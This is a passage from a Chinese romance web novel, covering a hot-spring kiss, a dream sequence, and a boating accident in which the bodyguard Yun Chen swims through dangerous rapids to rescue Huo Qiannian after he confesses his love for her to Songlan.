霍乾念的温泉池在一株盛开的桃花树下。
桃花茂密,风轻轻吹来,可以听见花瓣窸窣相拥的声音。
云琛走到温泉池旁的时候,正见温泉水汽飘散,霍乾念的面容逐渐清晰。
他靠坐在池中闭眼小憩,额头鬓角微微有汗。
墨发白肤的上半身露出水面,不着寸缕,只落着盈亮细密的水珠,胸膛上、锁骨上还沾着几片莓粉花瓣。
听见熟悉的脚步声,霍乾念睁开眼,笑了一下。
一瞬间,云琛只瞧见那凤眸盛满温泉水雾,那唇角勾起的弧度如水妖一般,带着抹勾人心魂的诱惑。
她感觉呼吸有些乱,强自镇定心神,上前将茶果盘放下。
“少主,您有什么吩咐的吗?若没有,我就先退下了。”
“给我杯茶。”
趁她倒茶的功夫,他问:“怎么不去温泉泡泡?”
她赶紧开始崴右脚,一颠一颠地碎步过来,递上茶,心虚道:
“我脚崴了,下不了水……”
“什么时候的事,我怎么不知道?”
“没多会,就……就刚刚……”
她心虚地不敢看他,只听到他“哦”了一声,语调里仿佛有忍耐的笑意。
“少主,若没其他吩咐,我就先下去了。”
她行礼告退,人已经退到池院门口,他又道:
“去换壶新茶来吧,这壶不太香了。”
“是。”她领命退去。
快速泡好一壶新茶,试了试茶香,她又提着茶往温泉池子走。
走到池院门口,她还不忘拾起“精湛”的演技,继续拐起右脚。
“少主,茶来了——”她走到池子边,却见池中空空如也,霍乾念不见踪影,只有水面上不断翻涌着水花,显示着有人在水底挣扎。
“糟了!”她这才想起霍乾念腿动不了,很容易滑进池底淹着,赶紧丢下茶壶,一头扎进池子。
水面上雾气弥漫,水底视线倒还清晰。
她一眼就望见他已停止挣扎,沉在水底,闭着眼睛,一动不动。
估摸她换茶的时间不短,他若是在她刚走的时候就沉水了,这会气息不够,肯定已昏厥。
她急忙游过去抓他,他却突然睁开眼睛,一把将她拽进怀里。
下一刻,一手揽住她的腰,一手勾住她小巧的下巴,他转身向她压来,吻上她的唇,轻轻吮吸起来。
她浑身像定住似的,脑中一片空白。
和青禹洲宴饮那日落水时一样,他的手臂强势又有力。
和那日不一样的是,这一次,他的吻少了些霸道,多的全是温柔。
他轻轻吻着,尝着,明明在水中根本感觉不到任何,他却觉得这吻应当是甜的。
若不是怕她受惊逃跑,他真想吻得再深些,再用力些。
渡气?最好渡他个海枯石烂天长地久。
不知过了多久,也许只是短短片刻,她终于反应过来,赶忙抱着他游上水面。
胡乱将他放在倚靠池沿的位置,她赶紧爬出池子,浑身湿漉漉地往外跑,慌得一刻不敢停留。
身后,他咳嗽了一阵,气息微喘,笑道:
“不是脚崴了么,怎么又不崴了?”
她赶紧一瘸一拐地演起来,他却笑意更甚:
“你刚才崴的右脚,不是左脚。”
她窘得头皮爆红,“搞错了搞错了!”立马头也不回地逃跑,
身后传来他快意的笑声:“哈哈......”
就这么着。
云琛脚崴了。
除了霍乾念,所有人都当真了。
因此当南璃君邀霍乾念去山谷泛舟,大部分公主侍卫和霍帮护卫都得同去时,只有云琛不用去。
叶峮让小六暂替她的值守位,叫她好好抹点药油,休息好了再来当班。
云琛甚少说谎,她最怕撒一个谎就要用一千个谎去圆。
面对众人的关心,她只得闷头躲在屋子里,一个劲儿地往脚上涂药油。
这下可好,本来好端端的脚腕,被她狠狠揉搓过后,还真肿了起来。
叶峮将云琛崴脚休息的事禀报霍乾念,后者面色平常,只语调愉悦地道了句:
“不急,缓吧,有的是时间”。
云琛一个人躲在屋子里,在浪费了十几瓶药油,涂得脚腕红肿发紫,自己浑身都是药油味道后,才肯罢休。
她四仰八叉地躺在床榻上。
夜渐深,月渐明。
她的身体仿佛不受控制似
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的,又回到了那温泉水池。
霍乾念仍旧下半身泡在温泉里,靠坐在池边。
他单手肘着池沿,撑着头,闭着眼。
水珠挂在他的眉峰上,沿着长长的睫毛滑下。
他睁开那双勾魂夺魄的凤眸,笑看着她,眼神又亮又软。
“琛儿。”他低声叫了一句,而后勾勾手指,她便不由自主地走进池子里,一步步向他靠近。
她缓缓走去,仰头痴望着他绝色魅惑的面容。
视线瞟到他挂着莹白水珠的喉结,她声音有点颤抖:
“少主……”
他却轻抬她下巴,勾唇一笑,“唤我‘阿念’。”
“阿念唔……”‘念’字的尾音全数被他吞尽。
他的嘴唇好软。
她的心跳好快。
她想问:
“大约……也喜欢我?”
“大约……也喜欢我的吧……”
无穷无尽的一个吻呐……
直吻到桃花落尽,直吻到日月更替。
她感到身子被池水紧紧包裹,一阵阵温热流连其间。
她大起胆子去抱他,却只摸到一条滑腻又结实的——
鱼尾。
“少主,你是美男鱼吗?”她惊奇地问。
他不回答,只是凑近她面容,鼻尖轻吻她的脸,若即又若离地朝下移去。
他的气息慢慢靠近她心口,同时鱼尾在水中慢慢游移,试探着贴近,钻过缝隙,紧紧圈住她的大腿。
他的鱼尾越缠越紧,蛊惑笑道:
“你猜。”
她身子一颤,一下子从梦中惊醒,只感觉浑身酥麻又绵软,许久才平复。
她羞得不能自已,将整个脑袋蒙在被子里,简直没脸见光,心里羞耻极了:
完了完了,今后还怎么面对少主呢?这梦应该只有我自己知道吧??完了完了……
“若要表明心意,就得表明我是女扮男装……那么,便会嫌弃我了吧……”
她一个人自言自语,抱住被子缩成一团。
楠国礼教森严,对于女子的清白极其看重。
若霍乾念知道她一个本该待在深闺的女子,却常年流浪混迹在男人堆里,和男人们称兄道弟,和男人们勾肩搭背,甚至还非礼勿视,瞧见男人洗澡……
如果是这样,霍乾念一定会厌弃的吧……
只要一想到这里,云琛所有雀跃又羞涩的心情,便瞬间跌入谷底。
第94章 郎才女貌
泛舟碧波青绿的山谷间,微风****,飞鸟高鸣。
两岸山谷开满了粉白嫣红的桃花海,美得令人惊叹。
南璃君与霍乾念同乘一艘船,二人在甲板上饮茶谈事,四周站着数十名公主侍卫与霍帮护卫。
看着密不透风的护卫人墙,南璃君有些烦闷,抱怨道:
“我光看见人头,闻见汗臭了,桃花清风一个都没见着,你呢?”
霍乾念眼皮都没有抬一下,专心端着杯子撇茶沫,淡淡道:
“臣这么多年都是这样,早已习惯。公主的腿又没坏,这边建议您自己迈开腿走到船边去看风景呢?”
南璃君“呵呵”干笑一声,看这么多侍卫仆从在场,她面上保持着微笑,却从后牙缝里挤出一句话:
“霍乾念,你对我态度好点!不然我把小云琛送去玄甲军从军,让你见都见不着!”
“那我就把菘蓝杀了。”他押了口茶,继续语气悠闲地说:
“还有庄姬、林芝、白可卿。你身边最心腹的女官,我全杀了。”
南璃君嗤笑,“你活腻了?挑衅我?”
霍乾念装模作样地道了句“不敢不敢”,而后皮笑肉不笑道:“您不是要动云琛吗?如若不让我活,那谁都别活。”
“啧啧……”南璃君翻了个白眼,“行行行,知道你疼爱小云护卫,只怕将来你夫人都要吃这醋的。”
见霍乾念不应声,南璃君眼珠微转,摆起一副极灿烂的笑容,道:
“我有个提议——”
“您最好别提议。”霍乾念毫不客气地截断南璃君的话头,“上次您提议之后,我差点被烤成**干,您还记得吗?”
“哈哈……”南璃君讪讪的笑,只能更加放低姿态,“我们去坐小船吧,跟在大船后面,这样就没人阻挡视线了,还安全,怎么样?”
霍乾念用一副“我看你真是闲得慌”的表情看着南璃君,无奈道:
“您是公主,自然您说了算。反正我都是坐轮椅。”
“呵呵……”南璃君赶忙命侍卫将一艘小船放下水,又叫霍帮护卫将霍乾念抬上小船,还不忘在霍乾念背后做了个掐他脖子的“凶狠”动作。
此时霍乾念正好回头,刚好瞧见南璃君张牙舞爪的样子。
后者赶紧收回手,摸摸头发,装作什么都没发生。
这娇憨的样子惹得侍卫和护卫们偷笑起来,不言甚至还笑得挺腼腆。
霍乾念上小船之后,南璃君也往小船上走去。
走着走着,她突然脚步一顿,虚弱道:
“不成,有点中暑。菘蓝,你替我去陪霍少主游船吧。”
所有人都一脸心知肚明。
菘蓝乖巧地道了声“公主放心,奴婢一定照顾好霍少主”,而后轻提裙摆,踏上小船。
霍乾念冷冷地瞥了菘蓝一眼,自顾闭眼休憩。
叶峮虽觉有些不妥,但见小船与大船之间拴着绳索,倒也稳当,若真有事,两步轻功就能上小船。
再加上公主摆明要让菘蓝与霍乾念独处,叶峮不敢有微词。
小船由大船拉着行驶,霍乾念坐在船中蓬顶下,菘蓝撑着一把做工精致的花伞,陪坐在一旁。
南璃君从大船上遥遥望去,不由感叹:
“郎才女貌,真像一幅画卷呀!”
一旁的女官庄姬笑道:
“这得多亏公主您成全,菘蓝姐姐真有福气。”
“唉,如果不是霍乾念双腿不能行,我不愿委屈菘蓝,那我早就给他二人婚配了。如今菘蓝自己觉着好,真是最好的结果。”
“就是不知道霍少主怎么想。”
南璃君下意识拔高语调,反问:“霍乾念怎么想?他肯定高兴啊!菘蓝样貌家世皆出挑,与你同为我心腹女官,他霍乾念能娶到这等贤妻,应该偷着乐呢!”
庄姬垂下眼眸,笑道:“公主所言极是。”
两条船一前一后,渐渐行至山谷中段。
两岸山壁高耸,遮住了艳阳。
后船上,菘蓝终于可以放下花伞,轻轻活动着发酸的手腕。
见霍乾念始终坐在蓬顶阴凉下,撑着头,闭眼休憩,菘蓝忍不住语气嗔怪地说:
“你真是一点都不怜香惜玉,让我晒那么久的太阳,我撑伞撑的手腕都疼了。”
霍乾念一动不动,连“恩”都没有一声。
菘蓝摆弄着花伞,“这一路出谷至少还要一个时辰,怎么,你打算一直不和我说话吗?”
霍乾念仍然不动。
菘蓝故意道:“呀!霍少主脸皮这么薄吗,是害羞还是怕我?所以不敢同我说话?”
这下霍乾念有反应了,他身子未动,嘴里却语气不善地说:
“太怕了,毕竟很少见你这类人。”
菘蓝知趣地不追问,伸出玉指,拾起小桌上一块点心,递给霍乾念:
“喏,我这类人就是再怎么着,也知道照顾人。你的护卫和小厮不在,那就我代劳。”
霍乾念睁开眼,冷眼先看到那块甜腻的龙须酥,然后是菘蓝新染的蔻色指甲,繁复亮丽的七八个粗细不同的手链手镯。
从她轻纱拢袖的衣裙往上看去,她的脸精心上过妆,华丽的珠钗衬得她光彩照人,明艳极了。
不知为什么,对着这活色生香的美人儿,这真真切切的温香软玉,霍乾念只觉心如死水,索然无味。
他突然想念那高挑利落的身影,那弧度微微翘起的长长马尾,还有那麒麟束腰的堪堪一握。
他从没想过有一天,他会对女子彻底失去兴趣,连欣赏都觉得费眼。
可若说,因为云琛,他被“掰”成了“龙阳”,但对除云琛之外的男人,他又生不出一丝一毫的亲近想法。
他曾想拿花绝试手,光是带着那
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念想,手指刚碰到花绝的肩膀,他便觉胃里一阵翻涌作呕。
后来实在不行,他悄悄去翻画册,对着那两两男子赤身紧贴的画面,他眉头皱得比沙皮狗还深,简直没眼看。
此时此刻,看着美人儿菘蓝,他多么希望出现在眼前的是云琛。
若能与云琛独处船上,泛舟青山绿水……
霍乾念虽然沉默着,但从眼神可以看出,他心里在想许多不可言说。
菘蓝的脸上飞起红晕,将龙须酥放在一旁,拿出手帕,一点点仔细又轻柔地拭手指。
“霍乾念,你正经点,我虽看得上你,但也不容你心里东想西想占我便宜。你若是君子,就三书六聘去跟我父亲提亲。”
“提亲?”霍乾念重复了下这两个字,他心想是啊,他与云琛眼看着就要走到最后一步了,那么以后呢?
改府规,建金屋,提亲拜堂,夜夜与云欢歌……
等玉家的事情结束了,他便要一件件筹谋布局,许一个有云琛的未来。
想到这里,霍乾念觉得不能再游山玩水耽误事了,立马话锋一转,问菘蓝:
“玉家的兵器库如何了,差不多了吧?”
菘蓝被这大转弯的击得猝不及防,反应了一会才道:
“差不多了,现在就差霍帮出个引子。怎么,你突然有想法了?”
霍乾念飞快地在心里盘算起来,菘蓝也专注地望着他。
二人都没有注意到前方的大船触到暗礁,船身猛地一震,南璃君一声惊呼,吸引了所有侍卫和护卫的注意。
叶峮和花绝几人在寻声赶过去之前,望了眼小船,见小船平稳,霍乾念与菘蓝靠在一起说话,便没有多心,也未曾注意到大船与小船连接的绳索弯钩处,方才已被震脱。
小船的绳索软绵绵落在水里,在无人注意到的空档,缓缓伸进一道急流。
绳索瞬间绷紧,拉着小船猛地偏转方向,颠簸摇晃着,急速朝山谷岔路游去。
菘蓝一下子跌倒在地上,吓得惊叫起来。
叶峮等人赶忙掉头回看,却见小船已飘出去十几丈远。
“救少主!!”
“救菘蓝!!”
叶峮、花绝、不言和荀戓,以及其他四五个比较擅水性的侍卫,几乎同时纷纷跳水,却不料正跳进几条急流暗流的交汇中心处。
几人被各自卷进不同的急流,身子完全不受控制,朝着不同的方向快速飘远。
眼见救霍乾念与菘蓝不成,几个霍帮护卫和侍卫们又折了进去,南璃君大惊失色,急问:
“还有谁擅水性??快救人!!擅水性的快去!!”
侍卫和护卫们面面相觑,脸犯难色,无一人敢应答。
最后,不知是谁小声说了一句:
“云琛……极擅水性的。”
南璃君急声下令:
“速叫云琛来!”
第95章 因为我爱云琛
在小船被卷进急流的那一刻,霍乾念先于菘蓝发现不对劲。
他快速转动轮椅后退,将轮子卡在门轴与船舱的空隙,牢牢固住。
下一刻,小船猛打两个旋,在飞流中颠簸乱冲。
菘蓝吓得惊声尖叫,下意识朝霍乾念扑去。
他还没来得及说一句“请到一边**别连累我”,菘蓝就已经扑上来抱住了他。
“救命啊!!”菘蓝吓得花容失色,失声大叫:“霍乾念,救我!”
犹豫了一瞬,他皱着眉头,抬手拉住了她。
小船在急流中疯狂冲撞、起伏,激起大片水花接连泼到菘蓝脸上,让她根本无法呼吸。
二人头绪目眩地颠簸了许久,不知熬过多少年月,直到水流减缓,小船才缓缓靠岸,搁浅在一处碎石滩。
一路颠簸中,菘蓝一直趴在霍乾念怀里,八爪鱼似的死命抱着他,拽得他整个衣服凌乱不整,同时也替他阻挡了大部分水花,她自己则浑身都湿透了。
“你是不是可以下去了?”霍乾念对怀里惊魂未定的美人儿说。
菘蓝闹了个大红脸,赶紧跳下霍乾念的怀抱,整理衣服和头发。
霍乾念看着自己月白色的外袍上,胸前那一大团胭脂和眉墨的印记,分明是张人脸,不由蹙眉:
“菘蓝,你掉颜色了。”
菘蓝赶紧跑去水边查看,这才发现自己发髻松散,头发像水草一样湿哒哒地贴在头皮上,妆容也被水洗得红黑不分,看着十分狼狈。
环顾四周陌生的景色,完全没有人烟的样子,菘蓝心情差到了极点。
她丧气地跌坐在地上,想到霍乾念还在小船上,随时有涨潮再飘走的危险,只得又爬起来去帮忙推轮椅。
好不容易连人带轮椅将霍乾念推下船,谁知刚推了没两下,轮子却卡进了碎石坑里。
菘蓝卯足力气去推,差点将霍乾念掀翻。
反复试了好几次,轮椅纹丝不动。
她累得一身汗,衣服湿透贴在身上,被风一吹,冷得直发抖,她索性撒手不管,不推了。
“先这样吧。”霍乾念叹口气,将外袍解下来递给她,又对她说:
“穿上。然后去林子里找些树枝枯叶,拿来生个火。”
犹豫了一下,菘蓝红着脸接过衣服,在林子里鼓捣许久。
出来时,她自己倒是头发服帖,穿着霍乾念的衣服整齐了许多,脸上黑红的残妆也都擦净,但手里只拿两根树杈就出来了。
霍乾念瞪着眼睛,“树林里没有树?让你只找到这点?”
菘蓝理直气壮,“我们一人一根就好了啊,你又不能靠近火堆取暖,干脆将树枝点燃,我们各自拿在手里更暖和,就像火把那样。”
瞄了眼她手里小拇指粗细的树杈,霍乾念估摸当蜡烛点都费劲。
“好,那拿什么点你的‘火把’?”
“生个火,用火点呀!”
“火在哪呢?”
“这不有树枝,生就好了呀!”
“树枝用来生火了,那还拿什么当‘火把’?”
“用……用……”
菘蓝答不上来,她完全没有一丁点野外生存的经验,感觉平时那么好用的脑子,怎么不知不觉就绕进树杈里了。
看着她一脸茫然,霍乾念强忍着没骂人,只是闭上眼睛,长长叹了口气道:
“罢了,我命中注定该有此劫吧!”
菘蓝自然听懂他的意思,撇撇嘴,开始用原始人的方式钻木取火。
可她力气太小,钻了半天,树枝上连个坑都没有。
又冷又饿,又生不出火,菘蓝终于泄气,将树枝一扔,坐在地上抱着腿,低声啜泣起来。
等菘蓝哭够了,霍乾念道:
“按常理,这时候应该由我这个男人去生火、打猎、烤肉,甚至找一处可过夜的山洞,照顾你直到救援来为止。但如你所见,菘蓝,我是个残废,不仅什么都做不了,还得你伺候我。”
沉默许久,菘蓝抬起头,眼眶虽红,但神色却非常坚定。
她走到霍乾念身后,用尽全力推动轮椅,在霍乾念共同使力下,终于将轮椅从小坑推出。
她道:“如果你是因为担心这些,便一次次对我说话这么不客气,那大可不必。这样荒山野岭没人伺候的情景,一辈子也发生不了几次。你是需要人伺候,但有的是护卫和仆从,并不需要费我力气。
霍乾念,你应当知道,我是个很骄傲的人,也很固执。我从来没高看过谁,你是第一个。所以哪怕你是个残废,我也不会嫌弃你,我仍旧看得上你。”
对于一个女子来说,要说出这样直白表白的话,是非常需要勇气的。
霍乾念敬佩菘蓝的勇敢,但他不想留给她一丝一毫的妄想。
待菘蓝累得气喘吁吁,又开始琢磨生火。
霍乾念开口道:
“菘蓝,我与你之间绝无可能。”
菘蓝满不在乎,“还是因为你的腿?”
“和我残不残废无关。无论我站得起来,站不起来,我和你之间都绝无可能。”
“为什么?”
直视着菘蓝的眼睛,霍乾念面色平静又坦然,一字一句道:
“因为我爱云琛。”
说出这六个字,霍乾念突然觉得浑身轻松——**痛快。
六个字而已,他走了好长好长的路。
菘蓝整个人震在原地,嘴巴张得比鸡蛋还大。
她甚至都来不及伤心霍乾念原来对她一点意思都没有,只是震惊于他竟然爱云琛??
“云、云、云琛??你那个白白瘦瘦的亲卫?男、男人?”菘蓝舌头都快打结,“霍乾念你喜欢男人??”
他神色无波,“和男人还是女人没关系,我只是爱云琛,就这么简单”。
菘蓝久久不能从震惊中回过神,她脑子乱作一团,感觉有点崩溃。
“你的意思是说,我输给了一个‘男人’?我堂堂菘蓝,竟然输给了一个不知道从哪里来的小小护卫??”
霍乾念不悦拧眉,正要发作,却见菘蓝突然表情一松,恍然大悟道:
“哦——我知道了!霍乾念!我知道了!”
菘蓝一脸笃定:“说实话,云琛算是小有名气,京都城都知道霍少主身边有个人俊,功夫更俊,能将一把蓝剑舞得瑟瑟生风的年轻护卫。
那日我被蛇群困在房梁上,云琛飞身来救我的一刻,我承认,那瞬间确实令人心头震动。如果不是他后来**手毛脚故意占我便宜,只怕我也会对那一幕念念不忘。”
**手毛脚故
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意占便宜?霍乾念听着来气,刚想骂人,菘蓝又抢话道:
“所以,云琛本事大,立功多,证明他救你于水火的次数很多。霍乾念,你应该是将被救的感激之情错认了,否则你不可能看云琛高于我菘蓝。”
霍乾念愣住,直接气笑了:
“菘蓝,你若被推进火炉里烧,烧完估计嘴还是硬的。”
菘蓝并不接这话,她自信自己判断正确,霍乾念怎么可能喜欢一个护卫,而不是她。
看穿菘蓝心中所想,霍乾念悠悠道:
“菘蓝——苏菘蓝。你祖父随皇上征战天下,立下过汗马功劳。皇上表彰功勋,封了你祖父为拓海大将军。此后,苏家人不是入朝为官,入军为将,就是像你这样,到公主身边做女官。你来自显赫的家世,如今更是凭本事做了公主身边位列第一的大女官,不可谓手段不厉。”
菘蓝挑眉笑起:“你了解得很清楚嘛,没错,我是苏家的女儿。平时隐去姓氏,只是为了——”
这次轮到霍乾念打断菘蓝的话了:
“你隐去姓氏,只是不想别人说你是倚仗家门功劳而得公主赏识,你想证明自己是凭本事平步青云,对吧。”
菘蓝神色愈发骄傲,“对!”
霍乾念却冰凉一盆冷水泼来:
“菘蓝,你的确出色,可若没有好的家世加身,没有你祖父铺路,你纵使再厉害,也不一定能走到如今的位置。你也许要花上几十年,才抵得过如今的一步。你不喜欢别人说你凭家世上位,可每每标榜自己时,又不忘带着家世为自己金袍加身。你还真是利己至上。”
菘蓝被说得脸色发僵,她自己都未曾察觉这些,旁人纵使知道,也从无人像霍乾念这样,敢将这些话明明白白地甩在她脸上。
可这还不够,霍乾念正色道:
“在我心中,你不堪与云琛一比。但你若非要比,我便告诉你,这区别在哪里——在于云琛无需背景家世,无需凭满腹算计和手腕,甚至无需凭一身锦衣,或其他任何身外之物加持,云琛只要做自己,只要站在那里,就足以光芒万丈!
你菘蓝,因为苏家才是菘蓝,是这些权势与金银堆簇了你,若离了这些呢?可云琛就是云琛,哪怕离开霍帮,离了我霍乾念,在这世上任何一个地方,都还是云琛。一切身外之物只让云琛愈发闪耀,却没有任何一点可以掩盖云琛的华光——什么都越不过云琛。这就是区别。”
霍乾念噼里啪啦说了一大堆,菘蓝的脸色由僵转白,嘴唇有点颤抖:
“你……这就是你看上云琛的原因?”
霍乾念眼神充满否定,“不。我只是在说你与云琛之间的区别。至于我对云琛,我说过了,无关男女,无关腿疾,无关任何。”
菘蓝不死心,追问:
“那关于什么?”
这次,霍乾念没有再为菘蓝“答疑解惑”,他闭上嘴,闭上眼,静静地靠坐在椅子里,再也不发一语。
但菘蓝却从他的神情看出:仅仅是提到云琛,他的神情便如此温柔餍足。
他心里的云琛,他不愿与任何人分享。
那一针见血的一字一句都没有伤到菘蓝,但此刻他平静却又坚不可摧的神情,却让她彻底心灰意冷。
第96章 无异于找死
山谷岸边。
距离霍乾念和菘蓝的小船失踪,已有不短的时间。
十几艘大船停在小船消失的岔路口,一根根铁链没进水里,以沉重的铁锚将船固住。
可即使是这样,船还是会随着五六股不同的急流微微晃动。
近二百名侍卫站在船上,面朝同一个方向沉默而立。
他们神情凝重地看着霍帮那最后一个亲卫——云琛,勒好绑腿和袖口,将裹着防水牛皮的烟火折子揣进怀里,快速细致地做着最后的下水准备。
除了“袖手旁观”,他们别无任何办法。这感觉令他们尴尬又惭愧……
一则,作为护卫这行里,已算干到头,做到行业顶尖的家伙们,近二百个大男人,却找不出一个比云琛擅水性的,只能干看着一个小小“少年”去拼命。
二则,没有人比他们更知道云琛将要面临何等危险的境地:
独自一人在这偌大又陌生的山谷河流中去寻人,且不说水流复杂,暗礁能**,光是单人作战,连个照应的兄弟都没有,就足以称绝险。
云琛此行,无异于找死。
而这也是第一次,云琛在要做事之前,没有叶峮的布置和嘱咐,没有花绝的关切,不言的絮叨,也没有荀戓的忧心谨慎。
只有小六在一旁红着眼睛,将一个个烟花折子递给她。
南璃君身边的侍卫首领走过来,拍拍云琛的肩膀,道:
“小兄弟,多加小心,一旦遇到危险,就冲天燃烟火折子,我们会立马赶过去救援。”
“好。”云琛点头应下,既不多话,也不磨叽,只瞅准急流交汇处一头扎进去。
那动作干脆利索地让侍卫首领愣了一下,忍不住惊奇地问小六:
“这可是山谷乱流,你们霍帮这位小兄弟,他、他就这样下去了?都不带犹豫会儿,深呼吸一下?”
小六虽心里为云琛忧心,但面上还是挺直腰板,强打精神,道:
“我们霍帮的亲卫都是如此,大人不必见怪。”
另一边,云琛放松身体,调整呼吸,随急流在水中浮浮沉沉,翻来滚去。
春日水寒刺骨,水草更是像鞭子一样不停抽过她的脸。
她捂紧烟花折子,漂了许久。
等她终于从水里冒出头的时候,只见一处白沙滩上,一个光膀子的精瘦男人正坐在篝火旁,火上搭着两个架子,一个烤的衣服,一个烤的鱼。
见一个满身挂着水草的“水鬼”爬上岸,不言吓得嗷嗷大叫,拿起火棍子就要捅。
云琛赶忙拨开头上的水草:
“不言哥,是我!”
“云琛?你怎么来了?”不言惊问。
云琛连忙四顾:“就你一个人?少主不在?”
不言回道:“我下水救少主来着,结果被急流卷到了这里。”
“行,我唤人来救你。我再去找少主。你多小心。”云琛放燃一根烟火折子,就又跳回水中。
游出去一刻钟,又在水里四处摸索了好一阵,她终于找到急流的分叉处,再次一头扎了进去。
这次的急流中没有水草,全是浮木和树枝,宛如开刃的刀片,划破她的衣衫和皮肉。
仍旧是在水中翻滚的五脏六腑都移位了,许久之后,她再探出头时,只见荀戓正拿着护卫刀凿树干,好像在造独木舟。
不言一样,荀戓也是救霍乾念不成,被急流卷得迷失了方向。
见霍乾念还是不在这,云琛只得赶紧将烟火折子抛给荀戓,又掉头扎进深水。
两个来回,两个时辰,云琛开始感到体力不支,越来越憋不住气。
但见天色渐晚,太阳已经快要落山,她顿时又生出些力气,第三次扎进急流之中。
这次的急流尽头
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是一片礁石,先前跳水去救菘蓝的四五个侍卫在此,正在用水草和刀鞘编木筏。
远远地,她将烟火折子丢给那几个侍卫,作了个“呼唤”救援的手势,立马就要折返进水里。
一个年纪大的侍卫却跳水朝她游来,硬拖着她往岸上走。
她累得话都说不出,连连摆手,却挣不脱。
几个侍卫帮忙将她拉上礁石,坐到火堆旁取暖。
她大口大口地急促喘气,嗓子眼里泛起腥甜。
一个侍卫取下火堆上充当水壶的铠甲片,送到她嘴边。她喝了几口,用眼神示意感激。
那年纪大的侍卫感叹道:
“小兄弟,我方才瞧你脸色青白,已是失温的前兆,你再游下去,只怕不累死也冻**。”
其他几个侍卫也一脸佩服,好奇地问:
“小兄弟,你就这样一个人游过来的?”
“你衣服破了许多处,伤口开始渗血了,我们应该不是你第一个来的地方吧?”
云琛缓了一会儿,身上开始觉得有些乏。她知道若再休息下去,就很难再站起来。
她撑着膝盖站起身,对几个侍卫道了谢,接着说:
“天快黑了,我家少主腿不能行,太危险。我得继续去找。谢谢诸位大哥。”
说罢,不顾几个侍卫再三阻拦,云琛毅然跳进水里。
侍卫们眼睁睁地看着她直直往水最深最黑处扎,别人唯恐避之不及地回流,她却迎着冲进去。
只见她猛地被回流卷走,身形瞬间沉没进水里,消失得无影无踪,一个侍卫搓搓身上的鸡皮疙瘩,惊恐叹道:
“这家伙也太不要命了吧……”
这一次,云琛已根本顾不得水中有什么,是水草还是树枝,亦或是尾鳍锋利的鱼,她只剩挣扎着将头露出水面去换气的力气了,却被回流带回了最开始的起点。
第97章 她心底的那句话
夜色将至,大船上已点燃火把,映得水面上明黄灿烂。
见云琛露头,小六急得上蹿下跳,大叫着“云哥你还活着!!”
几个侍卫放下绳索,叫她赶紧抓住上岸,她却没有回应,只望了眼天色,抬手感觉了下风向,就又游向那几股急流的错**汇处。
见她看都不看绳索一眼,反倒向更远更深的方向游去,小六急得大喊:
“云哥!歇一歇!歇一歇!!”
云琛没有回应。
看着她决然消失的身影,那侍卫首领忍不住再次感叹:
“若能平安而归,我真得请公主收这位小兄弟入侍卫队,实在太英勇了……”
小六目光一直追随着云琛而去,他抹了把眼睛,从旁道:
“谢大人赏识,但我们亲卫绝不会侍二主的。”
说完这句,全场都安静了下来。
在护卫这行,忠心与勇气,永远值得敬佩。
所有人一同望向水面。
在火把照不到的尽头,云琛的身影跟着光一起,湮没在黑暗之中。
傍晚的急流愈加汹涌,云琛被挟裹得几乎无法喘息。
急流之中多暗礁,尽管她已全力避开,但还是狠狠地撞在了腰上。
钻心的疼痛让她大喊出声,但急流又迅速吞没她的口。
她被迫喝了好几口水,浑浑噩噩地被冲上岸。
她躺在浅滩上,这次连抬手的力气都没了。
两张熟悉的脸出现在她上方,差点让她以为是幻觉。
“阿琛!醒醒!”叶峮和花绝连忙抬着云琛往火堆旁走。
叶峮抬着她的上半身,手摸到她身侧,顿时脸色一变,叫了声“不好!”
二人将云琛放在火堆旁,叶峮赶紧去脱她的外衫。
这一动作惊醒了已将陷入昏厥的云琛,她猛地捂住衣服往旁边躲,气息微弱道:
“我没事……没事……没时间了……再耽误下去,潮汐就来了,水流一变方向……我就……我就找不到少主了……”
花绝一边捆扎两根树枝,想为她做固定,一边骂道:
“疯了是不是?想死是不是?你肋骨断了,万一扎到内脏怎么办??”
叶峮也不容她多言,使劲摁住她:
“小子,别给我犟!你这样再下水就是送死!我叶峮能看着自己兄弟去送死吗?”
“别动!把衣服脱了看看伤口!”
“别他娘矫情了!赶紧把腰固定住!”
“听话!”
要是换作平时,云琛尚还有力气对抗这两人一番。
可这会她已经不知道在急流回流中转了多少个来回,游了三个还是四个时辰。
她只能用尽最后一点力气死死拽住衣服,用带着哭腔的声音道:
“求你们让我去吧……每耽搁一刻,少主就多一刻危险……少主是和菘蓝在一起,现在天已经快黑了,万一遇到猛兽……”
剩下的话,不必她再说,叶峮和花绝干了这么多年护卫,怎么会想不到。
天黑多猛兽,如果真遇袭,菘蓝有腿可以跑,霍乾念不仅跑不了,还会成为替菘蓝拖住猛兽的挡箭牌。
以性命为代价去守护,是护卫的天职。
若没有这点觉悟,就不应该踏入护卫这一行。
叶峮和花绝耸拉下肩膀,慢慢松开沉重的手。
云琛一步一顿地朝水中走,疼得根本直不起腰。
余晖残夜,照的水面颇有落幕的凄凉感。
她举起一支烟火折子点燃,回过头,朝二人咧嘴一笑:
“等这事了了,你们记得请我喝酒哦!”
花绝扭过头去,紧紧咬着牙齿,不肯看她。<
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br>叶峮使劲“呸”了几声,骂道:“你别给老子整得这么不吉利!呸呸呸!咱们做护卫的,临办险差之前绝对不能许诺!快给我呸!!”
“嘿嘿……”云琛笑笑,擦掉嘴边溢出的血,不等烟火折子燃尽,便再次扎进了水中。
这一次,急流更急,寒水更寒。
肋骨钻心地疼,脑袋止不住地眩晕。
她顾不得这些,她只想找到霍乾念。
她忍着不表露,可一次次寻空,早已让她越来越崩溃。
她脑子里控制不住地闪过一千一万个不吉利的念头……只要一想到他有危险,他可能会出事,她便觉得这天仿佛都要塌了,还何顾这区区山谷急流。
可也只有在这急流中,她才能放声大哭。
才能喊出她心底那句话。
她整个人淹没在水里,对着已沉沉如墨的黑夜无声地张口:
“阿念,我喜欢你。”
“阿念,等我来寻你。”
不知是感动了老天爷,还是惊情了这风雨沧桑千百年的山谷。
当瀑布般的桃花顺水而来,她终于被急流托起上岸,搁浅在一处碎石滩。
她艰难地趴在地上,剧烈地咳嗽,喘气,吐血,视线充血模糊,只能瞧见不远处的黑暗里,好像有两道人影在望着她。
一个脚步声急促地跑来,忍不住惊声叫道:
“云琛?!”
纵使再讨厌云琛,可在这个时候能看见熟人,菘蓝还是高兴得快要跳起来。
紧接着,云琛听见前方传来碎石搅动的声响,应该是轮椅猛冲过来发出的声音。
她拼尽最后最后一点力气站起身,迎着那声音踉跄走去。
随即,烟火折子亮起。
火光照亮她伤痕累累惨白如纸的脸。
也照亮着安然无虞的他。
